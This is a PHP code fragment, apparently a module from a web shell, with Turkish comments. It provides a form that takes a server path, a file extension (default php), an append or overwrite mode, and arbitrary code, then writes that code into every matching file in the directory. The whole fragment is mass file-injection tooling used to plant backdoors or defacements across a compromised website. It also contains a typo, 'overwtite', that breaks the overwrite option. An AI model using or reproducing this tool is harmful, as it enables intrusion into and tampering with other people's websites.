<?php
// Dosyaları fişekle
if ($_GET[id]=="inject"){
if(isset($_POST['injectbut'])){
$filetype = $_POST['filetype'];
if($_POST['mode'] == 'append'){ $mode = "a"; }
if($_POST['mode'] == 'overwtite'){ $mode = "w"; }
if(is_dir($_POST['pathtomass'])){
$fin = "<table class=\"exploret\" style=\"width:50%;\"><tr><th colspan=\"2\" align=\"center\">Injected Files</th></tr>";
$inject = $_POST['injectthis'];
foreach (glob($_POST['pathtomass'] . "*." . $filetype) as $file){
$fp=fopen($file, $mode);
if(fputs($fp,$inject)){
$fin .= '<tr><td align="center"><a href="?view=' . $file . '">' . basename($file) . '</a></td></tr>';
}
}
$fin .= "</table><br>";
}else{
$msg = '<br><center><span class="gaya">@</span> permission denied</center><br>';
}
}
echo "<br>$msg
<form action='?id=inject' method='post'>
<center>
<table width='40%'>
<tr><td width='10%' align='right'>Path</td><td width='3%'> : </td><td width='87%'><input type='text' name='pathtomass' class='inputz' style='width:100%;' value='$pwd'></td></tr>
<tr><td width='10%' align='right'>Filetype</td><td width='3%'> : </td><td width='87%'><input type='text' class='inputz' name='filetype' style='width:100%;' value='php'></td></tr>
<tr><td width='10%' align='right'>Mode</td><td width='3%'> : </td><td width='87%'>
<select name='mode' style='width:100%;' class='inputz'>
<option value='append'>Append</option>
<option value='overwrite'>Overwrite</option>
</select></td></tr>
<tr><td/><td/><td>
<textarea name='injectthis' style='width:100%;' rows='15' class='output'>injection kodun buraya gelecek</textarea></td></tr>
<tr><td/><td/><td align='center'><br><input type='submit' style='width:80px;height:25px;' name='injectbut' class='inputzbut' value='Inject'></td></tr>
<tr/><tr/><tr/><tr/><tr/><tr/><tr/><tr/><tr/><tr/><tr/><tr/><tr/><tr><td/><td/><td align='center'>$fin</tr>
</table>
</center>
</form>";
}
?>